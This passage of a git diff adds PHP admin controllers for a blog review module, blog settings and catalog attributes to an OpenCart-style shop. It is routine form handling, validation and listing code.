+ $data['error_author'] = $this->error['author'];
+ } else {
+ $data['error_author'] = '';
+ }
+
+ if (isset($this->error['text'])) {
+ $data['error_text'] = $this->error['text'];
+ } else {
+ $data['error_text'] = '';
+ }
+
+ if (isset($this->error['rating'])) {
+ $data['error_rating'] = $this->error['rating'];
+ } else {
+ $data['error_rating'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['review_article_id'])) {
+ $data['action'] = $this->url->link('blog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('blog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_article_id=' . $this->request->get['review_article_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['review_article_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $review_info = $this->model_blog_review->getReview($this->request->get['review_article_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('blog/article');
+
+ if (isset($this->request->post['article_id'])) {
+ $data['article_id'] = $this->request->post['article_id'];
+ } elseif (!empty($review_info)) {
+ $data['article_id'] = $review_info['article_id'];
+ } else {
+ $data['article_id'] = '';
+ }
+
+ if (isset($this->request->post['article'])) {
+ $data['article'] = $this->request->post['article'];
+ } elseif (!empty($review_info)) {
+ $data['article'] = $review_info['article'];
+ } else {
+ $data['article'] = '';
+ }
+
+ if (isset($this->request->post['author'])) {
+ $data['author'] = $this->request->post['author'];
+ } elseif (!empty($review_info)) {
+ $data['author'] = $review_info['author'];
+ } else {
+ $data['author'] = '';
+ }
+
+ if (isset($this->request->post['text'])) {
+ $data['text'] = $this->request->post['text'];
+ } elseif (!empty($review_info)) {
+ $data['text'] = $review_info['text'];
+ } else {
+ $data['text'] = '';
+ }
+
+ if (isset($this->request->post['rating'])) {
+ $data['rating'] = $this->request->post['rating'];
+ } elseif (!empty($review_info)) {
+ $data['rating'] = $review_info['rating'];
+ } else {
+ $data['rating'] = '';
+ }
+
+ if (isset($this->request->post['date_added'])) {
+ $data['date_added'] = $this->request->post['date_added'];
+ } elseif (!empty($review_info)) {
+ $data['date_added'] = ($review_info['date_added'] != '0000-00-00 00:00' ? $review_info['date_added'] : '');
+ } else {
+ $data['date_added'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($review_info)) {
+ $data['status'] = $review_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/review_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['article_id']) {
+ $this->error['article'] = $this->language->get('error_article');
+ }
+
+ if ((utf8_strlen($this->request->post['author']) < 3) || (utf8_strlen($this->request->post['author']) > 64)) {
+ $this->error['author'] = $this->language->get('error_author');
+ }
+
+ if (utf8_strlen($this->request->post['text']) < 1) {
+ $this->error['text'] = $this->language->get('error_text');
+ }
+
+ if (!isset($this->request->post['rating']) || $this->request->post['rating'] < 0 || $this->request->post['rating'] > 5) {
+ $this->error['rating'] = $this->language->get('error_rating');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('blog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('blog/review');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $review_article_id) {
+ $data = array();
+ $result = $this->model_blog_review->getReview($review_article_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 1;
+ $this->model_blog_review->editReview($review_article_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+ public function disable() {
+ $this->load->language('blog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('blog/review');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $review_article_id) {
+ $data = array();
+ $result = $this->model_blog_review->getReview($review_article_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 0;
+ $this->model_blog_review->editReview($review_article_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'blog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/blog/setting.php b/public/admin/controller/blog/setting.php
new file mode 100644
index 0000000..f19fbfa
--- /dev/null
+++ b/public/admin/controller/blog/setting.php
@@ -0,0 +1,297 @@
+load->language('blog/setting');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('configblog', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_yes'] = $this->language->get('text_yes');
+ $data['text_no'] = $this->language->get('text_no');
+ $data['text_article'] = $this->language->get('text_article');
+ $data['text_review'] = $this->language->get('text_review');
+ $data['entry_article_limit'] = $this->language->get('entry_article_limit');
+ $data['entry_article_description_length'] = $this->language->get('entry_article_description_length');
+ $data['entry_limit_admin'] = $this->language->get('entry_limit_admin');
+ $data['entry_article_count'] = $this->language->get('entry_article_count');
+ $data['entry_blog_menu'] = $this->language->get('entry_blog_menu');
+ $data['entry_article_download'] = $this->language->get('entry_article_download');
+ $data['entry_review'] = $this->language->get('entry_review');
+ $data['entry_review_guest'] = $this->language->get('entry_review_guest');
+ $data['entry_review_mail'] = $this->language->get('entry_review_mail');
+ $data['entry_image_category'] = $this->language->get('entry_image_category');
+ $data['entry_image_article'] = $this->language->get('entry_image_article');
+ $data['entry_image_related'] = $this->language->get('entry_image_related');
+ $data['entry_width'] = $this->language->get('entry_width');
+ $data['entry_height'] = $this->language->get('entry_height');
+ $data['entry_name'] = $this->language->get('entry_name');
+ $data['entry_html_h1'] = $this->language->get('entry_html_h1');
+ $data['entry_meta_title'] = $this->language->get('entry_meta_title');
+ $data['entry_meta_description'] = $this->language->get('entry_meta_description');
+ $data['entry_meta_keyword'] = $this->language->get('entry_meta_keyword');
+
+ $data['help_comment'] = $this->language->get('help_comment');
+ $data['help_article_limit'] = $this->language->get('help_article_limit');
+ $data['help_article_description_length'] = $this->language->get('help_article_description_length');
+ $data['help_limit_admin'] = $this->language->get('help_limit_admin');
+ $data['help_article_count'] = $this->language->get('help_article_count');
+ $data['help_blog_menu'] = $this->language->get('help_blog_menu');
+ $data['help_review'] = $this->language->get('help_review');
+ $data['help_review_guest'] = $this->language->get('help_review_guest');
+ $data['help_review_mail'] = $this->language->get('help_review_mail');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ $data['tab_general'] = $this->language->get('tab_general');
+ $data['tab_option'] = $this->language->get('tab_option');
+ $data['tab_image'] = $this->language->get('tab_image');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['image_category'])) {
+ $data['error_image_category'] = $this->error['image_category'];
+ } else {
+ $data['error_image_category'] = '';
+ }
+
+ if (isset($this->error['image_article'])) {
+ $data['error_image_article'] = $this->error['image_article'];
+ } else {
+ $data['error_image_article'] = '';
+ }
+
+ if (isset($this->error['image_related'])) {
+ $data['error_image_related'] = $this->error['image_related'];
+ } else {
+ $data['error_image_related'] = '';
+ }
+
+ if (isset($this->error['article_limit'])) {
+ $data['error_article_limit'] = $this->error['article_limit'];
+ } else {
+ $data['error_article_limit'] = '';
+ }
+
+ if (isset($this->error['article_description_length'])) {
+ $data['error_article_description_length'] = $this->error['article_description_length'];
+ } else {
+ $data['error_article_description_length'] = '';
+ }
+
+ if (isset($this->error['limit_admin'])) {
+ $data['error_limit_admin'] = $this->error['limit_admin'];
+ } else {
+ $data['error_limit_admin'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['action'] = $this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['configblog_article_limit'])) {
+ $data['configblog_article_limit'] = $this->request->post['configblog_article_limit'];
+ } else {
+ $data['configblog_article_limit'] = $this->config->get('configblog_article_limit');
+ }
+
+ if (isset($this->request->post['configblog_article_description_length'])) {
+ $data['configblog_article_description_length'] = $this->request->post['configblog_article_description_length'];
+ } else {
+ $data['configblog_article_description_length'] = $this->config->get('configblog_article_description_length');
+ }
+
+ if (isset($this->request->post['configblog_limit_admin'])) {
+ $data['configblog_limit_admin'] = $this->request->post['configblog_limit_admin'];
+ } else {
+ $data['configblog_limit_admin'] = $this->config->get('configblog_limit_admin');
+ }
+
+ if (isset($this->request->post['configblog_article_count'])) {
+ $data['configblog_article_count'] = $this->request->post['configblog_article_count'];
+ } else {
+ $data['configblog_article_count'] = $this->config->get('configblog_article_count');
+ }
+
+ if (isset($this->request->post['configblog_blog_menu'])) {
+ $data['configblog_blog_menu'] = $this->request->post['configblog_blog_menu'];
+ } else {
+ $data['configblog_blog_menu'] = $this->config->get('configblog_blog_menu');
+ }
+
+ if (isset($this->request->post['configblogarticle_download'])) {
+ $data['configblog_article_download'] = $this->request->post['configblog_article_download'];
+ } else {
+ $data['configblog_article_download'] = $this->config->get('configblog_article_download');
+ }
+
+ if (isset($this->request->post['configblog_review_status'])) {
+ $data['configblog_review_status'] = $this->request->post['configblog_review_status'];
+ } else {
+ $data['configblog_review_status'] = $this->config->get('configblog_review_status');
+ }
+
+ if (isset($this->request->post['configblog_review_guest'])) {
+ $data['configblog_review_guest'] = $this->request->post['configblog_review_guest'];
+ } else {
+ $data['configblog_review_guest'] = $this->config->get('configblog_review_guest');
+ }
+
+ if (isset($this->request->post['configblog_review_mail'])) {
+ $data['configblog_review_mail'] = $this->request->post['configblog_review_mail'];
+ } else {
+ $data['configblog_review_mail'] = $this->config->get('configblog_review_mail');
+ }
+
+ if (isset($this->request->post['configblog_image_category_width'])) {
+ $data['configblog_image_category_width'] = $this->request->post['configblog_image_category_width'];
+ } else {
+ $data['configblog_image_category_width'] = $this->config->get('configblog_image_category_width');
+ }
+
+ if (isset($this->request->post['configblog_image_category_height'])) {
+ $data['configblog_image_category_height'] = $this->request->post['configblog_image_category_height'];
+ } else {
+ $data['configblog_image_category_height'] = $this->config->get('configblog_image_category_height');
+ }
+
+ if (isset($this->request->post['configblog_image_article_width'])) {
+ $data['configblog_image_article_width'] = $this->request->post['configblog_image_article_width'];
+ } else {
+ $data['configblog_image_article_width'] = $this->config->get('configblog_image_article_width');
+ }
+
+ if (isset($this->request->post['configblog_image_article_height'])) {
+ $data['configblog_image_article_height'] = $this->request->post['configblog_image_article_height'];
+ } else {
+ $data['configblog_image_article_height'] = $this->config->get('configblog_image_article_height');
+ }
+
+ if (isset($this->request->post['configblog_image_related_width'])) {
+ $data['configblog_image_related_width'] = $this->request->post['configblog_image_related_width'];
+ } else {
+ $data['configblog_image_related_width'] = $this->config->get('configblog_image_related_width');
+ }
+
+ if (isset($this->request->post['configblog_image_related_height'])) {
+ $data['configblog_image_related_height'] = $this->request->post['configblog_image_related_height'];
+ } else {
+ $data['configblog_image_related_height'] = $this->config->get('configblog_image_related_height');
+ }
+
+ if (isset($this->request->post['configblog_name'])) {
+ $data['configblog_name'] = $this->request->post['configblog_name'];
+ } else {
+ $data['configblog_name'] = $this->config->get('configblog_name');
+ }
+
+ if (isset($this->request->post['configblog_html_h1'])) {
+ $data['configblog_html_h1'] = $this->request->post['configblog_html_h1'];
+ } else {
+ $data['configblog_html_h1'] = $this->config->get('configblog_html_h1');
+ }
+
+ if (isset($this->request->post['configblog_meta_title'])) {
+ $data['configblog_meta_title'] = $this->request->post['configblog_meta_title'];
+ } else {
+ $data['configblog_meta_title'] = $this->config->get('configblog_meta_title');
+ }
+
+ if (isset($this->request->post['configblog_meta_description'])) {
+ $data['configblog_meta_description'] = $this->request->post['configblog_meta_description'];
+ } else {
+ $data['configblog_meta_description'] = $this->config->get('configblog_meta_description');
+ }
+
+ if (isset($this->request->post['configblog_meta_keyword'])) {
+ $data['configblog_meta_keyword'] = $this->request->post['configblog_meta_keyword'];
+ } else {
+ $data['configblog_meta_keyword'] = $this->config->get('configblog_meta_keyword');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/setting', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'setting/setting')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['configblog_image_category_width'] || !$this->request->post['configblog_image_category_height']) {
+ $this->error['image_category'] = $this->language->get('error_image_category');
+ }
+
+ if (!$this->request->post['configblog_image_article_width'] || !$this->request->post['configblog_image_article_height']) {
+ $this->error['image_article'] = $this->language->get('error_image_article');
+ }
+
+ if (!$this->request->post['configblog_image_related_width'] || !$this->request->post['configblog_image_related_height']) {
+ $this->error['image_related'] = $this->language->get('error_image_related');
+ }
+
+ if (!$this->request->post['configblog_article_limit']) {
+ $this->error['article_limit'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['configblog_article_description_length']) {
+ $this->error['article_description_length'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['configblog_limit_admin']) {
+ $this->error['limit_admin'] = $this->language->get('error_limit');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/attribute.php b/public/admin/controller/catalog/attribute.php
new file mode 100644
index 0000000..008d15c
--- /dev/null
+++ b/public/admin/controller/catalog/attribute.php
@@ -0,0 +1,418 @@
+load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute->addAttribute($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute->editAttribute($this->request->get['attribute_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/attribute');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $attribute_id) {
+ $this->model_catalog_attribute->deleteAttribute($attribute_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'ad.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/attribute/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/attribute/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['attributes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $attribute_total = $this->model_catalog_attribute->getTotalAttributes();
+
+ $results = $this->model_catalog_attribute->getAttributes($filter_data);
+
+ foreach ($results as $result) {
+ $data['attributes'][] = array(
+ 'attribute_id' => $result['attribute_id'],
+ 'name' => $result['name'],
+ 'attribute_group' => $result['attribute_group'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/attribute/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_id=' . $result['attribute_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . '&sort=ad.name' . $url, true);
+ $data['sort_attribute_group'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . '&sort=attribute_group' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . '&sort=a.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $attribute_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($attribute_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($attribute_total - $this->config->get('config_limit_admin'))) ? $attribute_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $attribute_total, ceil($attribute_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['attribute_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['attribute_group'])) {
+ $data['error_attribute_group'] = $this->error['attribute_group'];
+ } else {
+ $data['error_attribute_group'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['attribute_id'])) {
+ $data['action'] = $this->url->link('catalog/attribute/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/attribute/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_id=' . $this->request->get['attribute_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['attribute_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $attribute_info = $this->model_catalog_attribute->getAttribute($this->request->get['attribute_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['attribute_description'])) {
+ $data['attribute_description'] = $this->request->post['attribute_description'];
+ } elseif (isset($this->request->get['attribute_id'])) {
+ $data['attribute_description'] = $this->model_catalog_attribute->getAttributeDescriptions($this->request->get['attribute_id']);
+ } else {
+ $data['attribute_description'] = array();
+ }
+
+ if (isset($this->request->post['attribute_group_id'])) {
+ $data['attribute_group_id'] = $this->request->post['attribute_group_id'];
+ } elseif (!empty($attribute_info)) {
+ $data['attribute_group_id'] = $attribute_info['attribute_group_id'];
+ } else {
+ $data['attribute_group_id'] = '';
+ }
+
+ $this->load->model('catalog/attribute_group');
+
+ $data['attribute_groups'] = $this->model_catalog_attribute_group->getAttributeGroups();
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($attribute_info)) {
+ $data['sort_order'] = $attribute_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['attribute_group_id']) {
+ $this->error['attribute_group'] = $this->language->get('error_attribute_group');
+ }
+
+ foreach ($this->request->post['attribute_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $attribute_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByAttributeId($attribute_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/attribute');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_attribute->getAttributes($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'attribute_id' => $result['attribute_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8')),
+ 'attribute_group' => $result['attribute_group']
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/catalog/attribute_group.php b/public/admin/controller/catalog/attribute_group.php
new file mode 100644
index 0000000..6081655
--- /dev/null
+++ b/public/admin/controller/catalog/attribute_group.php
@@ -0,0 +1,359 @@
